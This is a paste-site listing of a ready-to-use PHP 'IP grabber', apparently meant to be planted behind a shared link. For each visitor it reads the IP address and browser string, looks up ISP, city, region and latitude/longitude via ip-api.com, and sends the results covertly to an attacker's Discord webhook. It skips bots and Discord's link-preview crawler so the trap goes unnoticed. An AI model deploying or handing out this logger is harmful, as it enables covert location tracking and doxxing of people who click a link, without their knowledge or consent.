Advertisement
Lucid_Ghostly

Website ip grabber

Dec 11th, 2020
2,650
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.57 KB | None | 0 0
  1. <?php
  2.  
  3. $webhookurl = "YOURWEBHOOK"; // Paste your webhook between the quotes
  4.  
  5.  
  6. $TheirDate = date('d/m/Y');
  7. $TheirTime = date('G:i:s');
  8. $timestamp = date("c", strtotime("now"));
  9. $ip= $_SERVER['REMOTE_ADDR'];
  10. $Browser = $_SERVER['HTTP_USER_AGENT'];
  11. $Curl = curl_init("http://ip-api.com/json/$ip"); //Get the info of the IP using Curl
  12. curl_setopt($Curl, CURLOPT_RETURNTRANSFER, true);
  13. $Info = json_decode(curl_exec($Curl));
  14. curl_close($Curl);
  15.  
  16. if(preg_match('/bot|Discord|robot|curl|spider|crawler|^$/i', $Browser)) {
  17. exit();
  18. } // prevents bot detection
  19.  
  20. $ISP = $Info->isp;
  21. $Country = $Info->country;
  22. $Region = $Info->regionName;
  23. $City = $Info->city;
  24. $COORD = "$Info->lat, $Info->lon"; // Coordinates
  25.  
  26. $timestamp = date("c", strtotime("now"));
  27.  
  28. $json_data = json_encode([
  29. // Message
  30. "content" => "",
  31.  
  32. // Username
  33. "username" => "IP Logger | Made By Script Duckyy",
  34.  
  35. // Embeds Array
  36. "embeds" => [
  37. [
  38. // Embed Title
  39. "title" => "Script Duckyy IP Logger",
  40.  
  41. // Embed Type
  42. "type" => "rich",
  43.  
  44.  
  45.  
  46. // Timestamp of embed must be formatted as ISO8601
  47. "timestamp" => $timestamp,
  48.  
  49. // Embed left border color in HEX
  50. "color" => hexdec( "ff9933" ),
  51.  
  52. // Footer
  53. "footer" => [
  54. "text" => "Subscribe to Script Duckyy",
  55. "icon_url" => "https://i.vgy.me/WBrIqy.png?size=375"
  56. ],
  57.  
  58. // Thumbnail
  59. //"thumbnail" => [
  60. // "url" => "https://i.vgy.me/Lzqvsr.png?size=600"
  61. //],
  62.  
  63. // Author
  64. "author" => [
  65. ],
  66.  
  67. // Field array of objects
  68. "fields" => [
  69. // Field 1
  70. [
  71. "name" => "IP",
  72. "value" => "$ip",
  73. "inline" => true
  74. ],
  75. // Field 2
  76. [
  77. "name" => "Location",
  78. "value" => "$City, $Region",
  79. "inline" => true
  80. ],
  81. // Field 3
  82. [
  83. "name" => "Country",
  84. "value" => "$Country",
  85. "inline" => true
  86. ],
  87. // Field 4
  88. [
  89. "name" => "ISP",
  90. "value" => "$ISP",
  91. "inline" => false
  92. ],
  93. // Field 5
  94. [
  95. "name" => "Coordinates",
  96. "value" => "$COORD",
  97. "inline" => false
  98. ],
  99. // Field 1.5
  100. [
  101. "name" => "Date & Time",
  102. "value" => "$TheirDate | $TheirTime",
  103. "inline" => true
  104. ],
  105. // Field 6
  106. [
  107. "name" => "Browser Info",
  108. "value" => "$Browser",
  109. "inline" => false
  110. ]
  111.  
  112. ]
  113. ]
  114. ]
  115.  
  116.  
  117. ], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
  118.  
  119.  
  120. $ch = curl_init( $webhookurl );
  121. curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
  122. curl_setopt( $ch, CURLOPT_POST, 1);
  123. curl_setopt( $ch, CURLOPT_POSTFIELDS, $json_data);
  124. curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
  125. curl_setopt( $ch, CURLOPT_HEADER, 0);
  126. curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
  127.  
  128. $response = curl_exec( $ch );
  129. curl_close( $ch );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement